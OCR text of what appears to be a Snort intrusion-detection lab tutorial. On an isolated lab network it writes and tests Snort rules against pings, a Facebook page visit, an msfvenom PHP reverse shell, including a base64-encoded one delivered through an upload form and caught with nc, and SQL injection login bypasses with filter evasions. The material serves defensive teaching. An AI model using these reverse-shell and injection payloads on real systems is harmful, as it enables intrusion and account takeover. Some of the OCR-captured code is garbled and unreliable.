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Introduction



What is an IDS?

An intrusion detection system (IDS) is a device or software application that
monitors network or system activities for malicious activities and produces reports.

Host IDS: runs on individual hosts or devices on the network

Network IDS: is placed at a strategic point within the network to monitor traffic to
and from all devices on the network.



What is an IPS?

An intrusion prevention system (IPS) is a device or software application that
monitors network or system activities for malicious activities, logs information
about them, tries to block them, and produces reports.

IDS: passive

IPS: active



What is Snort?

Snort is a free and open source network IDS
and IPS software.

Three main modes:

e sniffer (like Wireshark)

e packetlogger (e.g. for network traffic
debugging)

e network intrusion detection




Victim machine

Ubuntu lu- u @A 5:51PM Lt
IP address: 192.168.56.101

Username: victim
Password: victim

Snort, vulnerable web servers
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Attacker machine

Ka|i Applications = Places + Wed 11:520
IP address: 192.168.56.102

Username: root
Password: toor

Fake facebook
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Setting up Snort
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On Ubuntu (Victim) open Terminal.
Type: sudo su

Type the password: victim




Modify the config file

Type:gedit /etc/snort/snort.conf

inline 51 rewrite to: ipvar HOME NET 192.168.56.101

inline 54 rewrite to: ipvar EXTERNAL NET !$HOME NET

insertinto anew line: include /etc/snort/rules/my rules.rules

Save (pressCtrl + S)andclose.



Create a new rules file

In terminal type:
gedit /etc/snort/rules/my rules.rulesé&




Rule 1 - Ping alert



Write the rule

Typeinthefile: alert icmp any any -> any any (msg:"ICMP packet
detected"; sid:1000477; rev:1)

Saveit (pressCtrl + S).

What does this mean?

<Rule Actions> <Protocol> <Source IP Address> <Source Port>
<Direction Operator> <Destination IP Address> <Destination
Port> (rule options: message, identification number,
revision number)




Run it

root@ubuntuForSnort: /homefvictim

TO rLIn SnOrt type: Copyright (C) 2014 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
- - Using libpcap version 1.5.3
Snort dev Cc Using PCRE version: 8.31 2012-07-06

Using ZLIB version: 1.2.8

/etc/snort/snort.conf -1

Rules Engine: SF_SNORT_DETECTION_ENGINE Version 2.1 <Build 1=

- Preprocessor Object: SF_DNS Version 1.1 <Build 4>

/Var/log/ Snort/ =1 etho _A Preprocessor Object: SF_SIP Version 1.1 <Build 1=
Preprocessor Object: SF_SSLPP Version 1.1 <Build 4>

full Preprocessor Object: SF_SSH Version 1.1 <Build 3=

Preprocessor Object: SF_DNP3 Version 1.1 <Build 1>
Preprocessor Object: SF_GTP Version 1.1 <Build 1=
Preprocessor Object: SF_REPUTATION Version 1.1 <Build 1=
Preprocessor Object: SF_POP Version 1.8 <Build 1=
Preprocessor Object: SF_SMTP Version 1.1 <Build 9=
Preprocessor Object: SF_IMAP Version 1.0 <Build 1=
Preprocessor SF_MODBUS Version 1.1 <Build 1=
Preprocessor je : SF_SDF Version 1.1 <Build 1>
Preprocessor je : SF_DCERPC2 Version 1.0 =<Build 3=
Preprocessor Object: SF_FTPTELNET Version 1.2 <Build 13>
ommencing packet processing (pid=2838)

Wait until you see something like this



Ping the other machine

Open an other terminal, and type:
ping 192.168.56.102

After afew ping, pressCtrl + C.

-

root@ubuntuForSnort: fhome fvictim

+=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t+=+=+=t=t=t+=+=+

P5/18-17:37:26.907385 08:00:27:5D:96:E8 -> 08:00:27:9D:20:8B type:0x800 len:0x62
-> 192.168.56.102

192.168.56.101

DF

ype:8 Code:8

6 8C 3C 57 0@
11 12 13 14
21 22 23 24
31 3233 34

ID:2863

o0 08
15 16
25 26
35 36

0e
17
27
37

Seq:21
45 D8 @D
18 19 1A
28 29 2A

ICMP TTL:64 TOS:

ECHO
00 00 o0
1B 1C 1D
2B 2C 2D

00 08
1E 1F
2E 2F

Ox0 ID:18012 IplLen:20 DgmLen:84

t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t=t+=+=+=t=t=t=+=+

P5/18-17:37:26.

192.168.56.102
ype:@ Code:@
57 08
13 14
23 24
33 34

907788 08:

-> 192.168.56.101
ID:2863

00 80
15716
25 26
35 36

00
17
27
37

seq:21
45 D8 6D
18 19 1A
28 29 2A

:27:9D:20:8B

-> 08:00:
ICMP TTL:64 TOS:

ECHO REPLY

00 00 00
1B 1C 1D
2B 2C 2D

00 00
1E 1F
2E 2F

27:5D:96:E8 type:0x800 len:0x62
Ox0 ID:49928 IplLen:20 DgmLen:84

01234567

F=t=d=t=t =ttt et =ttt et =ttt ==t ===t =t ==ttt =t =t=t=t=t=t=F=F=t+=+=+

You should see something like this in the first terminal



Check the stats and the log file

ThenpressCtrl + Candthen tsc:
Enter in the first terminal too. Snort e i

TCP Disc:
UDP Disc:

will tell you the stats: IcHP Disc:

To open the alert log file, type:
gedit /var/log/snort/alert

You should find a lot of “ICMP Logged:

Passed:

packet detected” alerts there. Tt
*los:
Event:
Alert:




Rule 2 - Against Facebook



Write the rule

Attack scenario: Let’'s move from the Transport layer to the
Application layer! With the help of the Snort we will make
an alert if somebody will visit facebook.it from the victim
machine.

Create the rule: Type intomy_rules.rules: alert tcp $EXTERNAL NET
SHTTP PORTS -> SHOME NET any (msg:'"Facebook detected!";
content:"facebook"; nocase; sid:1000004;)

Save it: press Ctrl +S



Start Snort and open Facebook

Start Snort: snort -dev -c /etc/snort/snort.conf
-1 /var/log/snort/ -i eth0 -A full

Open facebook.it:open Firefox and type: facebook.it

(Since we have no internet connection here, we set up an
Apache2 web server in the attacker machine, so you will visit a
web page served from the attacker machine.)




Check the log file

Check the log file: type in the terminal: gedit /var/log/snort/alert
you should see something like this:

[**] [1:1000004:0] Facebook detected! [#%*]

[Priority: 0]

05/18-16:07:02.727595 08:00:27:9D:20:8B -> 08:00:27:5D:96:E8 type:0x8080 len:0x235
192.168.56.102:80 -> 192.168.56.101:45634 TCP TTL:64 T0S:0x0 ID:49384 IplLen:20 DgmLen:551 DF
*kkAP*** Seq: Ox6B30CTFD Ack: OxC41459E3 Win: OxFC Tcplen: 32

TCP Options (3) => NOP NOP TS: 591642 591171

[**] [1:1000004:0] Facebook detected! [**]

[Priority: @]

85/18-16:07:31.940702 08:00:27:9D0:20:8B -> 08:00:27:5D:96:E8 type:0x808 len:0x24E
192.168.56.102:80 -> 192.168.56.101:45638 TCP TTL:64 TOS:0x0 ID:8530 IpLen:20 DgmLen:576 DF
*kkAPk** Seq: Ox7C1402F9 Ack: OxA1138AC Win: OxEB Tcplen: 32

TCP Options (3) => NOP NOP TS: 598953 598475




Rule 3 - Metasploit
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Feel the force of Metasploit

¥



Configuration

Victim hosts a vulnerable server with insecure image upload option.
Attacker goal is to create areverse shell and compromise victim with it.
Victim goal is writing rules to detect malicious payload.

We will play both sides.

We will concentrate on Msfvenom (part of the Metasploit framework) to develop and
encode payloads.



Generate the payload

Open terminal on kali and type
cd ~/Desktop
payload type ip to catch reverse shell

msfvenom -p php/reverse php LHOST=192.168.56.102 LPORT=4444
-f raw > evil.php

!

output type and file name port to catch shell
Typegedit evil.php

Add <?php atthebeginningand ?>attheend.Saveit: Ctrl+s
B



4
thofuncs='no exec functions';

if(is callable('fsockopen')and!in array('fsockopen',$dis)){
$s=@fsockopen( "tcp://192.168.56.102",%port) ;

Build detection

. if(substr($c,0,3) == 'cd '){
What can we try to detect in chdir(substr($c,3,-1));
} else if (substr(%$c,0,4) == 'guit' || substr($c,0,4) == 'exit') {
our payload? break;
lelse]

$out=FuywIyg(substr($c,®,-1));
if($out===Ffalse){
fwrite($s,%$nofuncs) ;
break ;

}
}
fwrite($s,$out) ;
i;
feclose($s) ;
lelse
$s=@socket create(AF INET,SOCK STREAM,SOL TCP);
@socket connect($s,$ipaddr,$port);
@socket write($s,"socket create");
while($c=@socket read($s,2048)){

1 $Dut = ";
if(substr($c,0,3) == 'cd '){
chdir{substr($c,3,-1));
} else if (substr(%$c,0,4) == 'guit' || substr(%$c,0,4) == 'exit') {
break;
lelse]

$out=FuywIyg(substr($c,®@,-1));




Build detection

In terminal type:
gedit /etc/snort/rules/my rules.rulesé&

Type alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS
(msg:"Reverse shell detected!"; content:'"fsockopen'"; nocase;
s1id:1000009;)

Save it: press Ctrl +S

Start Snort: snort -dev -c /etc/snort/snort.conf -1
/var/log/snort/ -i eth0 -A full -P 65535 -k none



Deliver and execute your shell

Open iceweasel browser on Kali and visit 192.168.56.101/upload.php
Upload your evil.php thatyou have just created

Be ready to catch your shell by opening the terminal and typing
nc -1 -p 4444

Visit 192.168.56.101/evil.php to trigger the payload
Enjoy your brand new shell by typing hostname ; idintheterminal

Check alert log by typing gedit /var/log/snort/alert



Generate encoded payload

Open terminal on kali and type
cd ~/Desktop

msfvenom -p php/reverse php LHOST=192.168.56.102 LPORT=4444
-f raw > encoded.php -e php/base64 -i 5

Encoder to use number of iterations
Typegedit encoded.php

Add <?php atthebeginningand ?>attheend.Saveit: Ctrl+s



Build detection 2 Not as readable as a previous one But still detectable!

:~/Desktop# cat evil.php
eval (basebf4 decode(ZXZhbChiYXNLNjRFZGY]b2R1LKFpYWmhiQZhpWVhObESgUmZaR1ZgY i JSbEtGeFLXbWhpUTJocFdWaESiRTVxWW1laYV IxWnFZakpTYkVORZNGbFhiV2hwW VRKDbZNGZF
dhRT1pULRWeFZXMWFZVK14W25GWmF reFRZalYwUmlKRLYsS1dNbEpMY L ZSR1MyUXhhMZRhUT dSb1RWaENTEFYVAVIWSOVE LsWnlWbFIHVL ZZeWMzZGFWY L VAWTFadmVsWndPYmRTYLhkNFZ rivmF
VMUZBVmxaal JGeHFUVWhTUzFWYVE rZGLIRTYXVkd4TZ2EwMX J1RFpWTWS CRFZWWmESMUp ZWk ZWaE 1 Ve FRWR3BDYDJIOR1 JsaGFSWE I TVEVWYVRWY XhWaz L SYkcSM1T rVINVBEFLS Vi OV 1GVXRhZ
ekZ3UmxkVVZ rllVNNRnBaVkZaaB5GZFZNWFZoURdSY VL rZFNTBbFIWVmpCULZ rwl pVV3hDYkZaVmNFTLhWbHByWYRKULdGTLL j R1 IpVAdeYWZGUKdZY TVzWkh0aFJYUmhZa2Q0V 1 ZVelUSXRmhiy
XBEVWO1YVZWWnIOWGx VYWt KelVteEdkVkZ0YkdsVEOyaDBWMWh3UzFZdO1 VWmtSYkpoV TBaS11WWXdaRz1p¥mlSel1WYzVhVkp@ZERaV2IYQkRZVYphTmlKRY JsaFNSVFZVY1RCalMxZEdXbG
hPVLRGVFYsYmFNMYpFYGl0a2IHOTNZal ZTViWxZeVV rdFZWRUp IWT J4a2NscE1UbXhpUl YwWFZWYzFRMKZYUZxobFJBR11ZY3R3VEZSY1LZgQ1NSbk I Wk Vkb 1dGST Vb1 pXTVAONFR rZEL SMWS
BYkZoaGExcHAXV3hWTUdReGIGZFplbFpyVmpBMELWZFVUaQ5W . U FGNYQxYZFWRLpWTLVOWGFE rSnpValpHZFZGdF I taFdibEoy WmpKNGF t VkhVWGxWYTJ4b1RXcHNURL ZxUmt@aB@l XdDZZaz2h
LYWxJeFdYcFpha3ByVTJ4RmQxSnROVL IXVLRWRFYycEN] MUpHYMSSal IyaFLVbFICTVZKVYFLOVRNa3BIWWROb1VGZERLRZhXTUZaTFpXeGtWMXBGT 1dsU1dGSkZWMY IPWYZKSFZsbGFSel ZZ
VW1zMUSscEhKSGRPYj FGNVd rVj BiRmRIVWRGY 1 JWWLBYYzFGZUdORMFHEFRTRUROVmM1 b1 QxUkdUbFp VY TBwaCsUVWQRUL ZWY 1 pHAFRIRVY ZVWE1S1dHRX 1 VEnBhY j NoRFYwWmF] VL ZEY@Z0T
k1t ZDVWakowYTFadFNYZGpSRLpyVFdwV 1RsV1VRaZRgYkdSeVd raE9iRaVEVWxaWmV rSXdVMnhGZDFKAESWUL dWVFZEV j JwQZ2MxSkdSbGhrlj BaVFRXNWSNbFpWV210UR1sWl 1WRzVTVTIGe 1
dscFVWMEJ IWWpGemQxUnROV2xpVmtwS1 ZUSTFRMKZX V1 hsVWJuQLVWbFUxVkZsVVN rZFhWbEpaVVd4Q2EwMXFiSFZWTVZaUFY KeHZKkMkpGVWxKaGlYaGoOWbXBPYjAlc 1pITmhTSEJVVFVKNF]
WVl daR3RUYKVWMLVEMDFWRL pWTLVOWL ZFWiNVMGRLU1 dOR1 JsZESSbTh4V j FSSmVGSXdOV1prUl ZKb 1 pXMVYNSUzVaVmxaSFL teEOWbFIyU21GT1L IzaEtWRLZXTUZ0c 1 JYZFNIVFZVVmx VMVEX
ZHFRazlpYLVshNVdr¥ndVazFGV25WWFZscHIWM ] FKZDIKR2FGaGhhMXB3V1d4Vk IHUXhiRmRalWxaclZ . tMWt OV pOY@Z0aFl tUkdUaZh ri2sweWV IVl piWGhyVTBaaZRHSkdhRLITTVVwWVFZs
UkMRMULSYmtoVmExSmFUVEILVFZZdZ2FFOVVSazVXVkdOS I TYMURLRYZWYm1ScTdWZEL j MWRxUmxoV 1 JUVLVXVED rU2 1WVkSVaGFSbWhUVFZoQZ0xWnFRETLo TVZaWFZHdGEVMKkp@YUhKV1 ZFc
HIZMnhr¥ 1dKSVRrOUSSYFYzV1 ZaaZEx TnNSWGRTYLRWYYZsY TFRMWRxUmSabFY xWkpWMnh3YVZaV 2NEWL ZNYL pQV1L RKRmYWSnNLIRL ZXUj FKRL dwWl dSMkpzV GxaVWEwe GhUVWQOUTL ZWYV 1pHdF
NSMEpXVWEWMYZGWL ZOVUSYYWEKelUwZEL TRTFWYRZKTmIXaEpWbFphVj A1R1drZFRiRkp TV mpKb1VsWniWal5pYVRWYVpXczFWRNBXWKUSVE JUbFpZMEYEVK ZKVYV T LhWRWE 4V 1 RKU2RG TR
hREKJXULRWb1ZgQ1ldjMLIzV2xaV2IUbFdWbTF rTTFReFdsT1LVSBFY2V2t jMVZHRNIOWERpa TUdSTRkWIWNI1YNBGZUZaTmIsSj FWMnhvYTJSc2IzZGL SVkp TVmpKULMxVi5VUWEkaWIFNYdWR3RP
YUdKRLMNsV1dWekYzVkZkR1ZtSkhOV1 ZXTWpoM1dXeFZ1R115VmtsV2EzQmIZbXMxVFZVeFZ rOVIiRzk zZWWtWU1VsWXLVE1 IXVm1INMYT teESWbFIyU21GT 1 IzaEZWY1prTUZaR1dsV1 dhekZhW
Wt aREOxbHRNVWRYVmxKMFYyeHdUbBUY4YORaWFYzUnJdVakpHVEZ0cmFGZFdLbFpSV2t SSkEXSANUBFp VY TBwaFRVZDRSVLZXWkRCaGIVeFLZVW . hHYj AxV11gT1piVEZIViBYMYAGZHN] RmhTV
BVFeFZgRmFiMKkSEUZSKUFZFNXBUVZFTUzFWYVF rZGLIRTVAVKdES L ZFMURLRYZWYm1SclUyeEZkMUpATL Zwy 2IWSmh XV 3BDZDFKdFEN rivl BWbEpPWVdOSE1sVAL I RTLS TWxaWVUxaHNWYOp XY
hCVVZFSkxZekZzZEdKSGNHc FNiWGhaVkd4a@lGTnNWWGHUYWxaYVZsZFNVRLL5ZERCUL JuQkpXa2R3YVZaSGV I aFdNRkpLVGxkUmVHTKARRTLTZWxa Tl ZWUKkdTMkSZzYK Zk aF JUVRFVWHBXVEZ
Zd2FFOVVSazVXVkdOS1ILVMURLRVZWYm1ScLUyeEZkMUp1UZxwV 1Y xSkl XalphZDFOSFZ raGxSalpZViWwxWdk IWZFhj RXRYTVhCMFUxaHdVEUp ZYUhCWL ZtUnJZMnh rv LdKRYVE aFNNRFV4VLRI
eGlySkdWwWSxoUnpsYVRXcFdURmxWWk Zk V1 IwWkpXa2ZRyVEZKYmNIcFdSV1 pQWVRKV1Zt Tk VWbWhOTURWaFZgQLdk MDY XWkMIWFLVaEthVTFy TLVsWmnEyaHI XV pWZWxwSVZTR1IRSM2h4V 1RCY
B5GTkdTh1ZpUjNCeFZsWnI1RLYZUWE5UK L rNULWR3RvV ] FkRKSVeFVWRXBQWk ZaTmVGUNVThXBOUBYKS1 ZWY zFRMKk ZzU1hoWGFsc FYUVLpL TmxWNLFUTLNSalpZV2tWd 1V rMUZXE 1T ZWTVZaUF
VAMUZ1Vk5xV2s 1V 1 ZHeF L WhXhvYjFSc 1VYcGFTRNBoVFYKNFIWV1 daR3RUYK VWML VEMDFWRL pYYUhKWmF re ERWMGRXURdWRMY GSk5SbkF3VmpKNGE riVhTEFp rUL ZKVIT tMVNIMYL 3V .mt@ak
1XdzIVbTV3YkZKdGFGYLpWRTUUWRFL rZFJLVTLYTLZSV1 ZUVKRWMNBOY zFKR1 JsaGFSWE I TVFVWYWRWV X 1KR3BPUj FKWFVXeG9XROpOZUdaV2F rSmhZMnh0ZDFSc 1Rt dEShMXBRY1Zj eESHRNJ
NYma VY WxKWYVtczBTbHBWY L hol1Z riVZVY3Q0V ] FORKEYMY ZNV1 pQYVd4dmQySkZVbEp X TWxKTFZWUKNT azV XULhsaV Ve GhUVWQBUL ZWW 1 pHAFRIRVY ZVWOWMY ZsWL hhRY IhYm1SS 1 pWwl Nk
RmRzYQU1aWIXZDWWMWh3UzFadFNYZGpSY2hwiWpKb2NGEHNXa3RsYkdSel ZHNUtUMDEGT LRk V1L ZtUnJVMNhGZDFKAESWUL dWMLEwV1d@alMxT1ldVbl JsU1ZKb 1 ZsVmFKV1LY4Vms5UmIHOTNZ a
1ZvYVZKNLI rMVZWRY pMYXpGYVNHUKYREXRTVOZKRLYydGOkMk ZHUL hoWGIuQmFZVEZy TV Zsc 1 pGZFRSEHAWWTBWMGI GWXphSFEpY VnpCNFZXMUdSbUSGYkZSaV ZHeGhWR L p rTUdSe 1RURL Vhem



Test it

Open iceweasel browser on Kali and visit 192.168.56.101/upload.php
Upload your evil.php thatyou have just created

Be ready to catch your shell by opening the terminal and typing
nc -1 -p 4444

Visit 192.168.56.101/encoded.php to trigger the payload
Enjoy your brand new shell by typing hostname ; idintheterminal

Verify that no new alert was created cat /var/log/snort/alert



ﬁ j‘

Build detection 2
Show your power and build a snort rule to alert on
base64_decode pattern

In terminal type:
gedit /etc/snort/rules/my rules.rules

Type alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"
encoded reverse shell detected!"; content:"base64 decode"; nocase;
sid:10000010;)

Save it: press Ctrl +S

Start Snort: snort -dev -c /etc/snort/snort.conf -1 /var/log/snort/
-i eth0 -A full -P 65535 -k none

And test it again !
B



What was the way of detecting hoth shells with one
simple rule?



Rule 4 - SQL Injection

‘orf i=l --



Rule 4: against SQL injection

Iceweasel 00 0]

On the attacker machine | http://192.168.56.101/ % | *
(Kali) open a browser € @ 192.168.56.101 el » =
(Iceweasel). A

Restricted area. Please login. I
Go to the victim’s

Username:
webpage on 'admin
192.168.56.101 T'asswcfd:

."5ubmﬁ

The source code of this file is the following:

<!DOCTYPE html=
<html=

-a:budy:- w
£{ >




SQL injection hasics

The site is vulnerable to SQL Injection. The vulnerable lines of the php code are:

Susername = $ POST['username'];
S$password = $ POST['password'];

Squery = "SELECT * FROM "user WHERE username='S$username' AND
password="'S$password'";

Normal operation:
SELECT * FROM "user WHERE username='admin' AND password='mypassword'

SQL Injection: if you enter abc' OR '1'='1 as password:
SELECT * FROM "user WHERE username='admin' AND password='abc' OR '1'='1"



Attack 1

Try this attack against the login form:
Type in the password field:abec' OR '1'='1

To defend against this attack, add this rule into the

my rules.rules file onthe victim machine:
alert tcp $EXTERNAL NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL
Injection"; pcre:"/or 'l'='1/i"; sid:1400001)

pcre: this will match the string as regex to the content of the packets. The /i flagin
the end makes the match case-insensitive.

Test it: Save the rules file, start Snort and type the attack in the password field in the
attacker machine again. Then check the alerts: gedit /var/log/snort/alert



Attack 1

The previous rule was not matching to the attack. Why? Let’s check how Snort sees

the packet:
[#] [&] ¥ JL BA

6E 74 : : 1 nt-Type: applica

5 tion/X-www-form-

urlencoded. .Cont

ent-Length: 48..

. .username=admin
Apassword=abc¥%27
+or+%271%27%3D%2
71

The content is html encoded, so let’s change the rule accordingly and test it:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL
Injection"; pcre:"/or\+\%271\%27%3D%271/i"; sid:1400001)



Attack 2

But typing abe' OR '2'='2 intothe password field still works without alert.

So let’s change the rule to match to any number not just 1. It's regexp, so we can use

\d* for numbers:
alert tcp S$EXTERNAL NET any -> S$HTTP SERVERS S$HTTP PORTS (msg:'"SQL
Injection"; pcre:"/or\+\%27\d*\%27%3D%27\d*/i"; sid:1400001)

Test it: Save the rules file, start Snort and type the attack in the password field in the
attacker machine again. Then check the alerts: gedit /var/log/snort/alert



Attack 3

But typing abe' or '3'>'2 intothe
password field still works.

So change the rule to match to “ or ” (mind the

spaces before and after): alert tcp
SEXTERNAL NET any -> $HTTP SERVERS

SHTTP_ PORTS (msg:"Might be an SQL
Injection"; pcre:"/\+or\+/i"; sid:1400001)

Test it: Save the rules file, start Snort and type the
attack in the password field in the attacker
machine again. Then check the alerts: gedit
/var/log/snort/alert




Attack 4

But typing abe' or/**/ '3'>'2 intothe password field still works, because
MySQL supports C-style inline /* comments */

So change the rule to match to “or” (without spaces): alert tcp $EXTERNAL NET any
-> SHTTP_SERVERS S$HTTP PORTS (msg:"Might be an SQL Injection"; pcre:"
/or/i"; sid:1400001)

Test it: Save the rules file, start Snort and type the attack in the password field in the
attacker machine again.



Problem

Try to login with any username/password while Snort is running. It will detect it as
SQL Injection attempt. Why? Because every request contains the word “form” and
so the signature will match for every (even the valid) login attempts.



Possible further attacks

abec' || '3'>'2 workswithout using the word or,
because MySQL supports || for OR.

Also typingabc'; UPDATE “user  SET .
password='pass' WHERE username='admin into &
the password field changes the password of admin to
pass without generating any alarm.
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Conclusion

Snort is really powerful, but not bulletproof

It is good to detect known attacks, but it won’t
stop targeted attacks

Especially if you only use the default Snort rules,
since the attacker can test their attack in
advance to avoid detection

Still it will detect script kiddies and automated
scanners

It should be considered as one part of the
defense system, and not as the ultimate solution




